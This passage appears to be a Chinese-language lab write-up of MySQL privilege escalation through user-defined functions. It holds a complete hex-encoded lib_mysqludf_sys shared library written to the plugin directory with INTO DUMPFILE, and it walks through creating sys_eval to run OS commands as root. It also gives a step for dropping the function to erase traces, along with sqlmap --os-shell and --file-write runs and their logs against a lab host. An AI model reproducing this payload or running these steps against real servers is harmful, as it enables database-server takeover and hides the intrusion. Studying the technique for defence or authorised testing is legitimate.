0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000b20100000c000000100900000d000000f80d000004000000b4000000f5feff6ff8010000050000005805000006000000b80200000a000000f40100000b0000001000000003000000f010000002000000100000001400000011000000170000000009000011000000e0070000120000002001000013000000080000001600000000000000feffff6fa0070000ffffff6f01000000f0ffff6f4c070000faffff6f0a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000141000000000000000000000560900006609000004110000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000b4000000b400000044010000030000000000000004000000040000000b000000f6ffff6f02000000f8010000f8010000c000000003000000000000000400000004000000150000000b00000002000000b8020000b8020000a0020000040000000100000004000000100000001d00000003000000020000005805000058050000f40100000000000000000000010000000000000025000000ffffff6f020000004c0700004c070000540000000300000000000000020000000200000032000000feffff6f02000000a0070000a00700004000000004000000010000000400000000000000410000000900000002000000e0070000e007000020010000030000000000000004000000080000004a0000000900000002000000000900000009000010000000030000000a0000000400000008000000530000000100000006000000100900001009000030000000000000000000000004000000000000004e000000010000000600000040090000400900003000000000000000000000000400000004000000590000000100000006000000700900007009000088040000000000000000000010000000000000005f0000000100000006000000f80d0000f80d00001c00000000000000000000000400000000000000650000000100000032000000140e0000140e0000dd000000000000000000000001000000010000006d0000000100000002000000f40e0000f40e00000400000000000000000000000400000000000000770000000100000003000000001000000010000008000000000000000000000004000000000000007e000000010000000300000008100000081000000800000000000000000000000400000000000000850000000100000003000000101000001010000004000000000000000000000004000000000000008a00000006000000030000001410000014100000d000000004000000000000000400000008000000930000000100000003000000e4100000e41000000c00000000000000000000000400000004000000980000000100000003000000f0100000f01000001400000000000000000000000400000004000000a1000000010000000300000004110000041100000400000000000000000000000400000000000000a7000000080000000300000008110000081100000800000000000000000000000400000000000000ac000000010000000000000000000000081100009b0000000000000000000000010000000000000001000000030000000000000000000000a3110000b500000000000000000000000100000000000000 INTO DUMPFILE '/usr/local/mysql/lib/plugin/udf.so';lib_mysqludf_sys_64.so1SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/local/mysql/lib/plugin/udf.so'; 创建函数 先在本地查看有哪些函数可用 12345678910111213141516171819202122232425262728293031323334353637383940414243┌──(kali㉿kali)-[/usr/share/metasploit-framework/data/exploits/mysql]└─$ nm -D lib_mysqludf_sys_64.so 0000000000201788 A __bss_start w __cxa_finalize@GLIBC_2.2.50000000000201788 A _edata0000000000201798 A _end U fgets@GLIBC_2.2.50000000000001178 T _fini U fork@GLIBC_2.2.5 U free@GLIBC_2.2.5 U getenv@GLIBC_2.2.5 w __gmon_start__0000000000000ba0 T _init w _Jv_RegisterClasses000000000000101a T lib_mysqludf_sys_info0000000000000da4 T lib_mysqludf_sys_info_deinit0000000000001047 T lib_mysqludf_sys_info_init U malloc@GLIBC_2.2.5 U mmap@GLIBC_2.2.5 U pclose@GLIBC_2.2.5 U popen@GLIBC_2.2.5 U realloc@GLIBC_2.2.5 U setenv@GLIBC_2.2.5 U strcpy@GLIBC_2.2.5 U strncpy@GLIBC_2.2.50000000000000dac T sys_bineval0000000000000dab T sys_bineval_deinit0000000000000da8 T sys_bineval_init U sysconf@GLIBC_2.2.50000000000000e46 T sys_eval0000000000000da7 T sys_eval_deinit0000000000000f2e T sys_eval_init0000000000001066 T sys_exec0000000000000da6 T sys_exec_deinit0000000000000f57 T sys_exec_init00000000000010f7 T sys_get0000000000000da5 T sys_get_deinit0000000000000fea T sys_get_init000000000000107a T sys_set00000000000010e8 T sys_set_deinit0000000000000f80 T sys_set_init U system@GLIBC_2.2.5 U waitpid@GLIBC_2.2.5 lib_mysqludf_sys_info_init、lib_mysqludf_sys_info 和 lib_mysqludf_sys_info_deinit:这些函数用于加载和卸载 MySQL 用户定义函数(UDF)。lib_mysqludf_sys_info_init 是用于初始化 UDF 的函数,在加载 UDF 之前调用。lib_mysqludf_sys_info 是 UDF 的主体函数,它执行实际的操作。lib_mysqludf_sys_info_deinit 是在卸载 UDF 时进行清理的函数。 sys_eval(command)、sys_eval_init 和 sys_eval_deinit:这些函数用于执行系统命令。sys_eval_init 在执行命令前进行初始化操作,sys_eval 执行指定的系统命令,并返回其输出结果,sys_eval_deinit 在完成操作后进行清理工作。 sys_exec(command)、sys_exec_init 和 sys_exec_deinit:这些函数用于执行系统命令,并返回执行结果。sys_exec_init 在执行命令前进行初始化操作,sys_exec 执行指定的系统命令,并返回其退出码(返回状态),sys_exec_deinit 在完成操作后进行清理工作。 sys_set(environment_variable, value)、sys_set_init 和 sys_set_deinit:这些函数用于设置环境变量。sys_set_init 在设置环境变量前进行初始化操作,sys_set 创建或修改指定的环境变量和其对应的值,sys_set_deinit 在完成操作后进行清理工作。 sys_get(environment_variable)、sys_get_init 和 sys_get_deinit:这些函数用于获取环境变量的值。sys_get_init 在获取环境变量前进行初始化操作,sys_get 获取指定环境变量的值,并将其作为字符串返回,sys_get_deinit 在完成操作后进行清理工作。 sys_bineval(command)、sys_bineval_init 和 sys_bineval_deinit:这些函数用于执行二进制命令。sys_bineval_init 对执行命令进行初始化操作,sys_bineval 执行指定的二进制命令,sys_bineval_deinit 在完成操作后进行清理工作。 123-- 创建`sys_eval`函数mysql> create function sys_eval returns string soname 'udf.so';Query OK, 0 rows affected (0.01 sec) 函数操作 12345678910111213141516171819202122-- 调用函数mysql> select sys_eval('whoami');+--------------------+| sys_eval('whoami') |+--------------------+| root |+--------------------+1 row in set (0.03 sec)-- 查看函数mysql> select * from mysql.func;+----------+-----+--------+----------+| name | ret | dl | type |+----------+-----+--------+----------+| sys_eval | 0 | udf.so | function |+----------+-----+--------+----------+1 row in set (0.00 sec)-- 删除函数(清除痕迹),如果要删除函数,必须udf文件还存在plugin目录下drop function sys_eval;或delete from mysql.func where name='sys_eval'; 利用sqlmap全自动化123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263# -d 是用于指定要进行目标数据库测试的参数# --os-shell 获取一个交互式操作系统shell# mysql://:表示使用 MySQL 协议连接。# root:123456:表示使用用户名和密码进行身份验证,其中 root 是用户名,123456是密码。# 192.168.64.172:表示目标主机的 IP 地址。# 3306:表示目标 MySQL 服务器的端口号。# /mysql:表示要连接的数据库名称┌──(kali㉿kali)-[~/桌面/OSCP Like Machines/Vulnhub/0x04 .assets]└─$ sudo sqlmap -d "mysql://root:123456@192.168.64.172:3306/mysql" --os-shell ___ __H__ ___ ___[']_____ ___ ___ {1.7.8#stable} |_ -| . ['] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 16:47:45 /2020-12-21/[16:47:45] [INFO] flushing session file[16:47:45] [INFO] connection to MySQL server '192.168.64.172:3306' established[16:47:45] [INFO] testing MySQL[16:47:45] [INFO] confirming MySQL[16:47:45] [INFO] the back-end DBMS is MySQL[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format string[16:47:45] [WARNING] (remote) ProgrammingError: (MySQLdb._exceptions.ProgrammingError) not enough arguments for format stringback-end DBMS: MySQL >= 5.0.0[16:47:45] [INFO] fingerprinting the back-end DBMS operating system[16:47:45] [INFO] the back-end DBMS operating system is Linux[16:47:45] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfile'")[16:47:45] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfilehex'") [16:47:45] [INFO] testing if current user is DBA[16:47:45] [INFO] fetching current userwhat is the back-end database management system architecture?[1] 32-bit (default)[2] 64-bit> 2[16:47:47] [INFO] checking if UDF 'sys_exec' already exist[16:47:47] [INFO] checking if UDF 'sys_eval' already exist[16:47:47] [INFO] detecting back-end DBMS version from its banner[16:47:47] [INFO] retrieving MySQL plugin directory absolute path[16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfile'")[16:47:47] [INFO] the local file '/tmp/sqlmapalvrq_2j173244/lib_mysqludf_sys2r2q21dc.so' and the remote file '/usr/local/mysql/lib/plugin/libsxhpl.so' have the same size (8040 B) [16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfilehex'") [16:47:47] [INFO] creating UDF 'sys_exec' from the binary UDF file[16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1305, 'FUNCTION mysql.sys_exec does not exist') [16:47:47] [INFO] creating UDF 'sys_eval' from the binary UDF file[16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1305, 'FUNCTION mysql.sys_eval does not exist') [16:47:47] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapoutput'")[16:47:47] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system command execution[16:47:47] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTERos-shell> whoamido you want to retrieve the command standard output? [Y/n/a] ycommand standard output: 'root'os-shell> iddo you want to retrieve the command standard output? [Y/n/a] ycommand standard output: 'uid=0(root) gid=0(root) 组=0(root) 环境=system_u:system_r:unconfined_service_t:s0'os-shell> 半自动化获取plugin目录123456789101112131415161718192021222324252627┌──(kali㉿kali)-[~/桌面/OSCP Like Machines/Vulnhub/0x04 .assets]└─$ sudo sqlmap -d "mysql://root:123456@192.168.64.172:3306/mysql" --sql-shell ___ __H__ ___ ___[,]_____ ___ ___ {1.7.8#stable}|_ -| . [(] | .'| . ||___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 16:50:43 /2020-12-21/[16:50:43] [INFO] connection to MySQL server '192.168.64.172:3306' established[16:50:43] [INFO] testing MySQL[16:50:43] [INFO] resumed: [['1']]...[16:50:43] [INFO] confirming MySQL[16:50:43] [INFO] resumed: [['1']]...[16:50:43] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL >= 5.0.0[16:50:43] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTERsql-shell> select @@plugin_dir;[16:50:58] [INFO] fetching SQL SELECT statement query output: 'select @@plugin_dir'[16:50:58] [INFO] resumed: [['/usr/local/mysql/lib/plugin/']]...select @@plugin_dir: '/usr/local/mysql/lib/plugin/'sql-shell> 得到plugin目录为/usr/local/mysql/lib/plugin/。 上传lib_mysqludf_sys到plugin目录1234567891011121314151617181920212223242526272829303132333435# --file-write 参数用于指定要写入的文件路径,# --file-dest 参数用于指定目标系统中要将文件写入的位置# 具体来说,--file-write 参数指定了要写入的文件,而 --file-dest 参数指定了文件在目标系统中的目标路径。┌──(kali㉿kali)-[~]└─$ sudo sqlmap -d "mysql://root:123456@192.168.64.172:3306/mysql" --file-write=/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so --file-dest=/usr/local/mysql/lib/plugin/lib_mysqludf_sys_64.so ___ __H__ ___ ___[']_____ ___ ___ {1.7.8#stable}|_ -| . ["] | .'| . ||___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 16:54:31 /2020-12-21/[16:54:31] [INFO] connection to MySQL server '192.168.64.172:3306' established[16:54:31] [INFO] testing MySQL[16:54:31] [INFO] resumed: [['1']]...[16:54:31] [INFO] confirming MySQL[16:54:31] [INFO] resumed: [['1']]...[16:54:31] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL >= 5.0.0[16:54:31] [INFO] fingerprinting the back-end DBMS operating system[16:54:31] [INFO] resumed: [['0']]...[16:54:31] [INFO] the back-end DBMS operating system is Linux[16:54:31] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfile'")[16:54:31] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfilehex'")[16:54:31] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfile'")do you want confirmation that the local file '/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so' has been successfully written on the back-end DBMS file system ('/usr/local/mysql/lib/plugin/lib_mysqludf_sys_64.so')? [Y/n] y[16:54:34] [INFO] the local file '/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so' and the remote file '/usr/local/mysql/lib/plugin/lib_mysqludf_sys_64.so' have the same size (8040 B)[16:54:34] [WARNING] (remote) OperationalError: (MySQLdb._exceptions.OperationalError) (1051, "Unknown table 'mysql.sqlmapfilehex'") [16:54:34] [INFO] connection to MySQL server '192.168.64.172:3306' closed[*] ending @ 16:54:34 /2020-12-21/ 创建&执行函数12345678910111213141516171819202122232425262728┌──(kali㉿kali)-[~]└─$ sudo sqlmap -d "mysql:--root:123456@192.168.64.172:3306/mysql" --sql-shell ___ __H__ ___ ___[.]_____ ___ ___ {1.7.8--stable} |_ -| . [,] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https:--sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 16:55:30 /2020-12-21/[16:55:30] [INFO] connection to MySQL server '192.168.64.172:3306' established[16:55:30] [INFO] testing MySQL[16:55:30] [INFO] resumed: [['1']]...[16:55:30] [INFO] confirming MySQL[16:55:30] [INFO] resumed: [['1']]...[16:55:30] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL >= 5.0.0[16:55:30] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTERsql-shell> create function sys_eval returns string soname 'lib_mysqludf_sys_64.so'[16:55:50] [INFO] executing SQL data definition statement: 'create function sys_eval returns string soname 'lib_mysqludf_sys_64.so''create function sys_eval returns string soname 'lib_mysqludf_sys_64.so': 'NULL'sql-shell> select sys_eval('whoami');[16:56:00] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('whoami')'select sys_eval('whoami'): 'root'sql-shell> 启动项提权https://www.sqlsec.com/2020/11/mysql.html#%E5%90%AF%E5%8A%A8%E9%A1%B9%E6%8F%90%E6%9D%83https://www.sqlsec.com/2020/11/mysql.html#%E5%90%AF%E5%8A%A8%E9%A1%B9%E6%8F%90%E6%9D%83 